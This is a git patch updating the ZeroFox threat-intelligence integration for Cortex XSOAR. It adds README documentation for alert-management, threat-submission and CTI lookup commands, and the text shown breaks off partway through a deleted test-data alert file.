From 37fa3bc5e52cb571f9fa513deda373a53e73c74b Mon Sep 17 00:00:00 2001 From: content-bot <55035720+content-bot@users.noreply.github.com> Date: Wed, 16 Aug 2023 08:54:15 +0300 Subject: [PATCH] Update ZeroFox Integration (#28921) * Update ZeroFox Integration (#27969) * Add command to modify notes in a specific alert (#2) * Sort imports and add zerofox-submit-threat command * Add offending content url to alert responses * Add CTI feed lookup commands Adds commands for lookup into * compromised domains * compromised emails * malicious ips * hashes associated to malware * found exploits * Add commands to sync alerts from zf to xsoar * Add release notes and update integration version * Improve code presentation according to XSOARs guidelines * Improve code by replacing return_output for return_results, as well as adding client class * Add release notes and update integration version * Refactor to follow XSOAR Guidelines It also adds tests to the commands implemented. * Fix types in the integration file * Change data test's folder name * Update testing email data * Update docker tag, python type hints and docstrings - It fixes functions that modified dictionaries instead of creating copies. - It raises an error if command it is not implemented - It changes the fetch-incidents way to manage pages - It updates the release notes - It adds the author image * Add description in main Readme file * Fix zf api call * Fix list alerts call with offset instead of pages * Add integration instructions to get your creds --------- Co-authored-by: Diego Ramirez * Updated test_data * Updated docker image * Update .pack-ignore * Fixed first_fetch and max_fetch parameters * Added support for old and new fetch incidents params * Changed back to old fetch parameters --------- Co-authored-by: Felipe Garrido Co-authored-by: Diego Ramirez Co-authored-by: Anas Yousef <44998563+anas-yousef@users.noreply.github.com> --- Packs/ZeroFox/.pack-ignore | 6 +- Packs/ZeroFox/Author_image.png | Bin 0 -> 3943 bytes .../classifier-ZeroFox_Mapping.json | 172 ++ Packs/ZeroFox/Integrations/ZeroFox/README.md | 269 +- .../Integrations/ZeroFox/TestData/alert.json | 101 - .../ZeroFox/TestData/alert_result.json | 36 - .../ZeroFox/TestData/contents_result.json | 12 - Packs/ZeroFox/Integrations/ZeroFox/ZeroFox.py | 2189 ++++++++++++----- .../ZeroFox/Integrations/ZeroFox/ZeroFox.yml | 157 +- .../ZeroFox/ZeroFox_description.md | 5 +- .../Integrations/ZeroFox/ZeroFox_test.py | 1200 ++++++++- .../ZeroFox/test_data/alerts/change_tags.json | 16 + .../test_data/alerts/closed_alert.json | 83 + .../test_data/alerts/list_10_records.json | 759 ++++++ .../alerts/list_10_records_and_more.json | 759 ++++++ .../test_data/alerts/list_no_records.json | 8 + .../test_data/alerts/opened_alert.json | 83 + .../test_data/alerts/submit_threat.json | 3 + .../cti/botnet-compromised-credentials.json | 15 + .../ZeroFox/test_data/cti/botnet.json | 109 + .../ZeroFox/test_data/cti/c2-domains.json | 43 + .../cti/compromised-credentials.json | 15 + .../test_data/cti/email-addresses.json | 18 + .../ZeroFox/test_data/cti/exploits.json | 87 + .../ZeroFox/test_data/cti/malware.json | 20 + .../ZeroFox/test_data/cti/phishing.json | 50 + .../test_data/entities/create_entity.json | 3 + .../entities/entities_8_records.json | 350 +++ .../entities/entities_no_records.json | 7 + .../entities/entity_types_10_records.json | 227 ++ .../entities/entity_types_no_records.json | 6 + .../policies/policy_types_13_records.json | 108 + .../policies/policy_types_no_records.json | 3 + Packs/ZeroFox/README.md | 13 + Packs/ZeroFox/ReleaseNotes/1_1_0.md | 22 + Packs/ZeroFox/pack_metadata.json | 15 +- 36 files changed, 6142 insertions(+), 827 deletions(-) create mode 100644 Packs/ZeroFox/Author_image.png create mode 100644 Packs/ZeroFox/Classifiers/classifier-ZeroFox_Mapping.json delete mode 100644 Packs/ZeroFox/Integrations/ZeroFox/TestData/alert.json delete mode 100644 Packs/ZeroFox/Integrations/ZeroFox/TestData/alert_result.json delete mode 100644 Packs/ZeroFox/Integrations/ZeroFox/TestData/contents_result.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/change_tags.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/closed_alert.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/list_10_records.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/list_10_records_and_more.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/list_no_records.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/opened_alert.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/submit_threat.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/botnet-compromised-credentials.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/botnet.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/c2-domains.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/compromised-credentials.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/email-addresses.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/exploits.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/malware.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/phishing.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/create_entity.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entities_8_records.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entities_no_records.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entity_types_10_records.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entity_types_no_records.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/policies/policy_types_13_records.json create mode 100644 Packs/ZeroFox/Integrations/ZeroFox/test_data/policies/policy_types_no_records.json create mode 100644 Packs/ZeroFox/ReleaseNotes/1_1_0.md diff --git a/Packs/ZeroFox/.pack-ignore b/Packs/ZeroFox/.pack-ignore index dbfe336e1a5c..55e90cc5ddbe 100644 --- a/Packs/ZeroFox/.pack-ignore +++ b/Packs/ZeroFox/.pack-ignore @@ -1,2 +1,4 @@ -[file:ZeroFox.yml] -ignore=IN126 +[known_words] +zerofox +CTI +hashes diff --git a/Packs/ZeroFox/Author_image.png b/Packs/ZeroFox/Author_image.png new file mode 100644 index 0000000000000000000000000000000000000000..8c7225903076c3b4d27c2c6def30bd0d0e44365e GIT binary patch literal 3943 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 | True | | Username | True | | Password | True | | Trust any certificate (not secure) | False | @@ -22,24 +20,27 @@ This integration was integrated and tested with api version 1.0 of ZeroFox | Incident type | False | 4. Click **Test** to validate the URLs, token, and connection. + ## Commands + You can execute these commands from the Cortex XSOAR CLI, as part of an automation, or in a playbook. After you successfully execute a command, a DBot message appears in the War Room with the command details. + ### zerofox-get-alert + *** Fetches an alert by ID. - #### Base Command `zerofox-get-alert` + #### Input | **Argument Name** | **Description** | **Required** | | --- | --- | --- | | alert_id | The ID of an alert. Can be retrieved by running the zerofox-list-alerts command. | Required | - #### Context Output | **Path** | **Type** | **Description** | @@ -78,13 +79,14 @@ Fetches an alert by ID. | ZeroFox.Alert.EntityAccount | String | The account associated with the entity. | ### zerofox-alert-user-assignment + *** Assigns an alert to a user. - #### Base Command `zerofox-alert-user-assignment` + #### Input | **Argument Name** | **Description** | **Required** | @@ -92,7 +94,6 @@ Assigns an alert to a user. | alert_id | The ID of an alert. Can be retrieved by running the zerofox-list-alerts command. | Required | | username | The name of the user to which an alert is assigned. | Required | - #### Context Output | **Path** | **Type** | **Description** | @@ -101,20 +102,20 @@ Assigns an alert to a user. | ZeroFox.Alert.Assignee | String | The user to which an alert is assigned. | ### zerofox-close-alert + *** Closes an alert. - #### Base Command `zerofox-close-alert` + #### Input | **Argument Name** | **Description** | **Required** | | --- | --- | --- | | alert_id | The ID of an alert. Can be retrieved by running the zerofox-list-alerts command. | Required | - #### Context Output | **Path** | **Type** | **Description** | @@ -123,20 +124,20 @@ Closes an alert. | ZeroFox.Alert.Status | String | The status of an alert. | ### zerofox-alert-request-takedown + *** Requests a takedown of a specified alert. - #### Base Command `zerofox-alert-request-takedown` + #### Input | **Argument Name** | **Description** | **Required** | | --- | --- | --- | | alert_id | The ID of an alert. Can be retrieved by running the zerofox-list-alerts command. | Required | - #### Context Output | **Path** | **Type** | **Description** | @@ -145,13 +146,14 @@ Requests a takedown of a specified alert. | ZeroFox.Alert.Status | String | The status of an alert. | ### zerofox-modify-alert-tags + *** Adds tags to and or removes tags from a specified alert. - #### Base Command `zerofox-modify-alert-tags` + #### Input | **Argument Name** | **Description** | **Required** | @@ -160,6 +162,58 @@ Adds tags to and or removes tags from a specified alert. | alert_id | The ID of an alert. Can be retrieved by running the zerofox-list-alerts command. | Required | | tags | A CSV of tags to be added to or removed from an alert. | Required | +#### Context Output + +| **Path** | **Type** | **Description** | +| --- | --- | --- | +| ZeroFox.Alert.AlertType | String | The type of an alert. | +| ZeroFox.Alert.OffendingContentURL | String | The URL to the site containing content that triggered an alert. | +| ZeroFox.Alert.Assignee | String | The user to which an alert is assigned. | +| ZeroFox.Alert.Entity.ID | Number | The ID of the entity corresponding to the triggered alert. | +| ZeroFox.Alert.Entity.Name | String | The name of the entity corresponding to the triggered alert. | +| ZeroFox.Alert.Entity.Image | String | The URL to the profile image of the entity on which an alert was created. | +| ZeroFox.Alert.EntityTerm.ID | Number | The ID of the entity term corresponding to the triggered alert. | +| ZeroFox.Alert.EntityTerm.Name | String | The name of the entity term corresponding to the triggered alert. | +| ZeroFox.Alert.EntityTerm.Deleted | Boolean | Whether an entity term was deleted. | +| ZeroFox.Alert.ContentCreatedAt | Date | The date-time string indicating when the alerted content was created, in ISO-8601 format. | +| ZeroFox.Alert.ID | Number | The ID of an alert. | +| ZeroFox.Alert.RiskRating | Number | The risk rating of an alert. Can be "Critical", "High", "Medium", "Low", or "Info". | +| ZeroFox.Alert.Perpetrator.Name | String | For account, post, or page alerts, the perpetrator's social network account display name or the account from which the content was posted. | +| ZeroFox.Alert.Perpetrator.URL | String | The URL at which you can view the basic details of the perpetrator. | +| ZeroFox.Alert.Perpetrator.Timestamp | Date | The timestamp of a post created by a perpetrator. | +| ZeroFox.Alert.Perpetrator.Type | String | The type of perpetrator on which an alert was created. Can be an account, page, or post. | +| ZeroFox.Alert.Perpetrator.ID | Number | The ZeroFox resource ID of the alert perpetrator. | +| ZeroFox.Alert.Perpetrator.Network | String | The network containing the offending content. | +| ZeroFox.Alert.RuleGroupID | Number | The ID of the rule group. | +| ZeroFox.Alert.Status | String | The status of an alert. Can be "Open", "Closed", "Takedown:Accepted", "Takedown:Denied", "Takedown:Requested", or "Whitelisted". | +| ZeroFox.Alert.Timestamp | Date | The date-time string when an alert was created, in ISO-8601 format. | +| ZeroFox.Alert.RuleName | String | The name of the rule on which an alert was created. Outputs "null" if the rule has been deleted. | +| ZeroFox.Alert.LastModified | Date | The date and time at which an alert was last modified. | +| ZeroFox.Alert.DarkwebTerm | String | Details about the dark web term on which an alert was created. Outputs "null" if the alert has no details. | +| ZeroFox.Alert.Reviewed | Boolean | Whether an alert was reviewed. | +| ZeroFox.Alert.Escalated | Boolean | Whether an alert was escalated. | +| ZeroFox.Alert.Network | String | The network on which an alert was created. | +| ZeroFox.Alert.ProtectedSocialObject | String | The protected object corresponding to an alert. If the alert occurred on an entity term, the protected object will be an entity term name. If the alert occurred on a protected account, \(account information or an incoming or outgoing content\), and it was network defined, the protected object will be an account username. If the alert was not network-defined, the protected object will default to the account's display name. Otherwise, the protected account will be an account display name. For impersonation alerts, the protected object is null. | +| ZeroFox.Alert.Notes | String | Notes made on an alert. | +| ZeroFox.Alert.RuleID | Number | The ID of the rule on which an alert was created. Outputs "null" if the rule has been deleted. | +| ZeroFox.Alert.Tags | String | A list of an alert's tags. | +| ZeroFox.Alert.EntityAccount | String | The account associated with the entity. | + +### zerofox-modify-alert-notes + +*** +Modify the notes from a specified alert. + +#### Base Command + +`zerofox-modify-alert-notes` + +#### Input + +| **Argument Name** | **Description** | **Required** | +| --- | --- | --- | +| alert_id | The ID of an alert. Can be retrieved by running the zerofox-list-alerts command. | Required | +| notes | The modified notes to update in the alert. | Required | #### Context Output @@ -199,13 +253,14 @@ Adds tags to and or removes tags from a specified alert. | ZeroFox.Alert.EntityAccount | String | The account associated with the entity. | ### zerofox-list-alerts + *** Returns alerts that match user-defined or default filters and parameters. By default, no filters are applied and the results are sorted by timestamp. - #### Base Command `zerofox-list-alerts` + #### Input | **Argument Name** | **Description** | **Required** | @@ -238,7 +293,6 @@ Returns alerts that match user-defined or default filters and parameters. By def | escalated | If true, returns only escalated alerts. Possible values are: true, false. | Optional | | tags | Alert tags. Returns alerts containing at least of the tags in the provided CSV list. | Optional | - #### Context Output | **Path** | **Type** | **Description** | @@ -277,24 +331,24 @@ Returns alerts that match user-defined or default filters and parameters. By def | ZeroFox.Alert.EntityAccount | String | The account associated with the entity. | ### zerofox-create-entity + *** Creates a new entity associated with the company of the authorized user. - #### Base Command `zerofox-create-entity` + #### Input | **Argument Name** | **Description** | **Required** | | --- | --- | --- | | name | Name of the entity (may be non-unique). | Required | -| strict_name_matching | Indicates the type of string matching used for comparing entity names to impersonator names. | Optional | -| tags | Comma-separated list of string tags for tagging the entity.
For example:
label1,label2,label3. | Optional | -| policy_id | The ID of the policy to assign to the new entity. Can be retrieved running the zerofox-get-policy-types command. | Optional | +| strict_name_matching | Indicates the type of string matching used for comparing entity names
to impersonator names. It must be `true` or `false`. | Optional | +| tags | Comma-separated list of string tags for tagging the entity.
For example:
label1,label2,label3. | Optional | +| policy_id | The ID of the policy to assign to the new entity. Can be retrieved running the zerofox-get-policy-types command. Possible values are: . | Optional | | organization | The name of the organization associated with the entity. | Optional | - #### Context Output | **Path** | **Type** | **Description** | @@ -307,20 +361,20 @@ Creates a new entity associated with the company of the authorized user. | ZeroFox.Entity.Organization | String | The name of the organization associated with the entity. | ### zerofox-alert-cancel-takedown + *** Cancels a takedown of a specified alert. - #### Base Command `zerofox-alert-cancel-takedown` + #### Input | **Argument Name** | **Description** | **Required** | | --- | --- | --- | | alert_id | The ID of an alert. Can be retrieved running the zerofox-list-alerts command. | Required | - #### Context Output | **Path** | **Type** | **Description** | @@ -329,20 +383,20 @@ Cancels a takedown of a specified alert. | ZeroFox.Alert.Status | String | The status of an alert. | ### zerofox-open-alert + *** Opens an alert. - #### Base Command `zerofox-open-alert` + #### Input | **Argument Name** | **Description** | **Required** | | --- | --- | --- | | alert_id | The ID of an alert. Can be retrieved running the zerofox-list-alerts command. | Required | - #### Context Output | **Path** | **Type** | **Description** | @@ -351,13 +405,14 @@ Opens an alert. | ZeroFox.Alert.Status | String | The status of an alert. | ### zerofox-list-entities + *** Lists all entities associated with the company of the authorized user. - #### Base Command `zerofox-list-entities` + #### Input | **Argument Name** | **Description** | **Required** | @@ -371,7 +426,6 @@ Lists all entities associated with the company of the authorized user. | policy | Filters by entity policy ID. Can be filtered by multiple policy parameters. Can be retrieved running the zerofox-get-policy-types command. | Optional | | type | Filters by an entity type ID. Can be filtered by multiple type parameters. Can be retrieved running the zerofox-get-entity-types command. | Optional | - #### Context Output | **Path** | **Type** | **Description** | @@ -390,13 +444,14 @@ Lists all entities associated with the company of the authorized user. | ZeroFox.Entity.TypeName | String | The name of the type of entity | ### zerofox-get-entity-types + *** Shows a table of all entity type names and IDs in the War Room. - #### Base Command `zerofox-get-entity-types` + #### Input There are no input arguments for this command. @@ -404,14 +459,16 @@ There are no input arguments for this command. #### Context Output There is no context output for this command. + ### zerofox-get-policy-types + *** Shows a table of all policy type names and IDs in the War Room. - #### Base Command `zerofox-get-policy-types` + #### Input There are no input arguments for this command. @@ -419,3 +476,157 @@ There are no input arguments for this command. #### Context Output There is no context output for this command. + +### zerofox-submit-threat + +*** +Submits potential threats into the ZF alert registry for disruption. + +#### Base Command + +`zerofox-submit-threat` + +#### Input + +| **Argument Name** | **Description** | **Required** | +| --- | --- | --- | +| source | Content to be considered a threat. | Required | +| alert_type | Type of content acting as a threat, could be one of email, ip, domain, url, phone, mail_exchange, page_content or account. | Required | +| violation | Type of infringement the submitted threat represents, could be one of phishing, malware, rogue_app, impersonation, trademark, copyright, private_data, fraud or other. | Required | +| entity_id | Identifier of the entity being threatened by submitted content. | Required | +| notes | Additional notes to include in submission. | Optional | + +#### Context Output + +| **Path** | **Type** | **Description** | +| --- | --- | --- | +| ZeroFox.Alert.ID | Number | The ID of the alert created. | + +### zerofox-search-compromised-domain + +*** +Looks for a given domain in Zerofox's CTI feeds + +#### Base Command + +`zerofox-search-compromised-domain` + +#### Input + +| **Argument Name** | **Description** | **Required** | +| --- | --- | --- | +| domain | Domain to search. | Required | + +#### Context Output + +| **Path** | **Type** | **Description** | +| --- | --- | --- | +| ZeroFox.CompromisedDomains.Domain | string | Domain in which the search domain was found | +| ZeroFox.CompromisedDomains.LastModified | string | Last time that the threat was found | +| ZeroFox.CompromisedDomains.IPs | string | Related domains to the threat separated by commas | + +### zerofox-search-compromised-email + +*** +Looks for a given email in ZeroFox's CTI feeds + +#### Base Command + +`zerofox-search-compromised-email` + +#### Input + +| **Argument Name** | **Description** | **Required** | +| --- | --- | --- | +| email | email to search. | Required | + +#### Context Output + +| **Path** | **Type** | **Description** | +| --- | --- | --- | +| ZeroFox.CompromisedEmails.Domain | string | Domain in which the search domain was found | +| ZeroFox.CompromisedEmails.Email | string | Email involved in the threat | +| ZeroFox.CompromisedEmails.CreatedAt | string | Date in which the email was found related to a threat | + +### zerofox-search-malicious-ip + +*** +Looks for malicious ips in ZeroFox's CTI feeds + +#### Base Command + +`zerofox-search-malicious-ip` + +#### Input + +| **Argument Name** | **Description** | **Required** | +| --- | --- | --- | +| ip | ip to search. | Required | + +#### Context Output + +| **Path** | **Type** | **Description** | +| --- | --- | --- | +| ZeroFox.MaliciousIPs.Domain | string | Domain in which the search domain was found | +| ZeroFox.MaliciousIPs.IPAddress | string | IP in which the search domain was found | +| ZeroFox.MaliciousIPs.CreatedAt | string | Date in which the ip was found related to a threat | + +### zerofox-search-malicious-hash + +*** +Looks for registered hashes in ZeroFox's CTI feeds + +#### Base Command + +`zerofox-search-malicious-hash` + +#### Input + +| **Argument Name** | **Description** | **Required** | +| --- | --- | --- | +| hash | hash to search. | Required | + +#### Context Output + +| **Path** | **Type** | **Description** | +| --- | --- | --- | +| ZeroFox.MaliciousHashes.CreatedAt | string | Date in which the ip was found related to a threat | +| ZeroFox.MaliciousHashes.Family | string | Family related threat | +| ZeroFox.MaliciousHashes.MD5 | string | Hash in MD5 format | +| ZeroFox.MaliciousHashes.SHA1 | string | Hash in SHA1 format | +| ZeroFox.MaliciousHashes.SHA256 | string | Hash in SHA256 format | +| ZeroFox.MaliciousHashes.SHA512 | string | Hash in SHA512 format | +| ZeroFox.MaliciousHashes.FoundHash | string | Indicates in which hash format was found the search | + +### zerofox-search-exploits + +*** +Looks for registered exploits in ZeroFox's CTI feeds + +#### Base Command + +`zerofox-search-exploits` + +#### Input + +| **Argument Name** | **Description** | **Required** | +| --- | --- | --- | +| since | Staring date for exploit search. | Required | + +#### Context Output + +| **Path** | **Type** | **Description** | +| --- | --- | --- | +| ZeroFox.Exploits.CreatedAt | string | Date in which the ip was found related to a threat | +| ZeroFox.Exploits.CVECode | string | CVE Code to identify the exploit | +| ZeroFox.Exploits.URLs | string | URLs associated to the threat separated by commas | + +## Incident Mirroring + +You can enable incident mirroring between Cortex XSOAR incidents and ZeroFox corresponding events (available from Cortex XSOAR version 6.0.0). +To set up the mirroring: + +1. Enable *Fetching incidents* in your instance configuration. + +Newly fetched incidents will be mirrored in the chosen direction. However, this selection does not affect existing incidents. +**Important Note:** To ensure the mirroring works as expected, mappers are required, both for incoming and outgoing, to map the expected fields in Cortex XSOAR and ZeroFox. diff --git a/Packs/ZeroFox/Integrations/ZeroFox/TestData/alert.json b/Packs/ZeroFox/Integrations/ZeroFox/TestData/alert.json deleted file mode 100644 index 0702d841b232..000000000000 --- a/Packs/ZeroFox/Integrations/ZeroFox/TestData/alert.json +++ /dev/null @@ -1,101 +0,0 @@ -{ - "alert_type": "search query", - "logs": [ - { - "action": "close", - "timestamp": "2019-08-05T12:58:16+00:00", - "actor": "ZeroFox Platform Specialist", - "subject": "" - }, - { - "action": "assign", - "timestamp": "2019-08-05T11:46:07+00:00", - "actor": "ZeroFox Platform Specialist", - "subject": "" - }, - { - "action": "assign", - "timestamp": "2019-08-05T11:44:44+00:00", - "actor": "ZeroFox Platform Specialist", - "subject": "testname" - }, - { - "action": "open", - "timestamp": "2019-06-14T12:26:48+00:00", - "actor": "", - "subject": "" - } - ], - "offending_content_url": "https://www.youtube.com/watch?v=enKR49CiaJs", - "asset_term": { - "id": 180210, - "name": "NFFC", - "deleted": false - }, - "assignee": "", - "entity": { - "id": 33422, - "name": "Matthew Covington", - "image": "https://cdn.zerofox.com/media/entityimages/6d9hm7nzffd05wwqw4tir8bnlrbm7u2xzp5lmul50j30usv82bdpxqgimqvhanrh.jpg", - "labels": [ - { - "id": 6812, - "name": "Executive" - } - ] - }, - "entity_term": { - "id": 180210, - "name": "NFFC", - "deleted": false - }, - "content_created_at": "2019-01-12T10:35:07+00:00", - "id": 54148284, - "protected_account": null, - "severity": 5, - "perpetrator": { - "username": "Lee G TV", - "parent_post_account_number": null, - "post_number": "enKR49CiaJs", - "timestamp": "2019-01-12T10:35:07+00:00", - "image": "https://yt3.ggpht.com/-YL8vhwjAfss/AAAAAAAAAAI/AAAAAAAAAAA/jvwuybtZZWg/s800-c-k-no-mo-rj-c0xffffff/photo.jpg", - "post_type": "post", - "id": 4362446624, - "display_name": "Lee G TV", - "network": "youtube", - "url": "https://www.youtube.com/watch?v=enKR49CiaJs", - "account_number": "UCXsoi0OsULGZorPOax4jqUQ", - "parent_post_number": null, - "type": "post", - "destination_account_number": "UCXsoi0OsULGZorPOax4jqUQ" - }, - "rule_group_id": null, - "asset": { - "id": 33422, - "name": "Matthew Covington", - "image": "https://cdn.zerofox.com/media/entityimages/6d9hm7nzffd05wwqw4tir8bnlrbm7u2xzp5lmul50j30usv82bdpxqgimqvhanrh.jpg", - "labels": [ - { - "id": 6812, - "name": "Executive" - } - ] - }, - "metadata": "{\"occurrences\":[{\"origin\":null,\"term\":\"Karanka\"}],\"content_raw_data\":{\"etag\":\"\\\"Bdx4f4ps3xCOOo1WZ91nTLkRZ_c/ampF1nl9CmEJj7a5Df651shiWNA\\\"\",\"id\":{\"kind\":\"youtube#video\",\"videoId\":\"enKR49CiaJs\"},\"kind\":\"youtube#searchResult\",\"snippet\":{\"channelId\":\"UCXsoi0OsULGZorPOax4jqUQ\",\"channelTitle\":\"Lee G TV\",\"description\":\"Local news report on Karanka leaving Nottingham 